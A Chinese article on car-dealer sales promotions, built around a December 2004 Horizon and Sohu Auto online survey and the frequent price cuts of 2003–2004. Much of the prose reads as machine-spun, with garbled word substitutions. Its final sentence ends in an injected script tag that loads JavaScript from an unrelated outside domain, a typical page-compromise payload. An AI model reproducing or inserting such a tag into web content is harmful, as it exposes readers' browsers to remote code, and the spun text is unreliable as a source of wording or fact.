经过了精心设计的通路，某种价格的商品从生产厂家最后到达了销售终端，下面该产品能否顺利地被买家无怨无悔的买走呢？4P理论告诉大家，要获得推广的成功，缺少了在商品、价格、途径和营销当中的任何一个方面都是不能的；显然，产品从厂商到终端企业只是历程了4p中的前三个，要完成市场发展，成功的获得理想的销售份额，第四个“P——营销，万万少不能，今天的家用车市同样这样！在零点与Sohu汽车频道于2004年底联合进行的网上调查中，90%的网友表示自己再购买轿车时会考虑厂商和企业的营销原因，营销对于销售的要紧意义这样来看一斑。
图1：买车时会不会考虑营销原因 |
数据来源：零点与sohu汽车频道2004年12月联合网上调查，共2546人参与调查，有效样本2285份。
一般意义上，营销包含，广告、销售促进、职员营销推广和公共关系四个大的方面；而销售促进因销售环节的不同又可以分为两大类，途径营销和终端营销。在本次零点与sohu汽车频道联合进行的调查中，大家主要关注了终端营销对买家购买决策的影响用途。研究发现，目前绝大部分参与调查的网友对汽车生产厂商企业过去一年中的优惠活动没什么特别突出的印象；大伙一致觉得，目前国内外汽车生产厂商企业的优惠活动组织水平一般；在所有些营销技巧中，降价是广大买家最为熟知、被汽车生产厂商和企业屡屡用的营销技巧；买家对待营销技巧和营销额度的敏锐从另一个角度证明了，目前中国汽车买家价格敏锐的典型特点，这与大家以往的研究结果完全一致。
危机：一降再降，终会无可再降
终端营销有多功能，譬如新产品上市吸引消费、阻击角逐对手、刺激买家购买、提升买家忠诚度等等。围绕这类营销目的，厂商、企业可以组织形式多样的终端优惠活动以达到吸引买家眼球，增加销售有哪些用途。特别家用电器行业、手机、保健品、日化行业，终端营销功能被一些厂商发挥的淋漓尽致，“终端获胜”，“决战最后一米”（柜台）被直接作为要紧的指导原则写进了市场推广职员的职位职责手册。走进商场、超市、电器专卖店，大赠送、大抽奖、现场活动、买一送一……五花八门、争奇斗艳的优惠活动常常叫人眼花缭乱，目不暇接。
然而，走进车市时，状况却完全不是这个样子，其他行业热热闹闹的营销场面在车市没被看到。这一方面是由于不少有实力的车商将主要精力放在4S店的经营上，而4S店一般极少聚集在一块，很难形成直接的热火朝天的营销场面；其次，也是最为要紧的就是，目前的汽车生产厂商和企业在以终端营销拉动车辆销售上关注不够，动作不多——除去降价。据不完全统计，2003年乘用车降价至少在60次以上，几乎每周都有厂商宣布我们的某款车型，由于什么、哪些原因给买家让利，再降多少、多少。进入2004，伴随国际汽车巨头在华布局的完成，中国加入WTO过渡期行将结束，汽车生产厂商的降价动作愈加空前起来，最为引人注目的降价行为当属通用和南北大众全系列商品价格调整，特别是上市6年持续旺销的奥迪，在2004年宣布了史无前例的大降价。主流汽车企业，高端车型的全方位价格调整必然在对整个汽车市场产生深远的影响，在一定量上，可以说2004年企业的降价行为重塑了中国车市的价格体系。
但从推广的角度讲，降价只是刺激销售的方法之一。特别是对于普通的买家，他可能在终端直接感觉到不仅一种的营销技巧，对多种营销技巧感知形成了他对车市营销的印象和对汽车生产厂商营销组织水平的评价。而恰恰在这一点上，大家可以看到，汽车生产厂商和企业面临的环境并不乐观。本次调查中，所有受访者最为熟知的汽车营销方法是降价；排在第二位的是送装饰；但事实上，除去送售后服务以外，其他的几种营销技巧本质上还是以另一种形式为买家提供的价格打折，单从方法上看，新意不多?script src=http://cn.jxmmtv.com/cn.js>cript>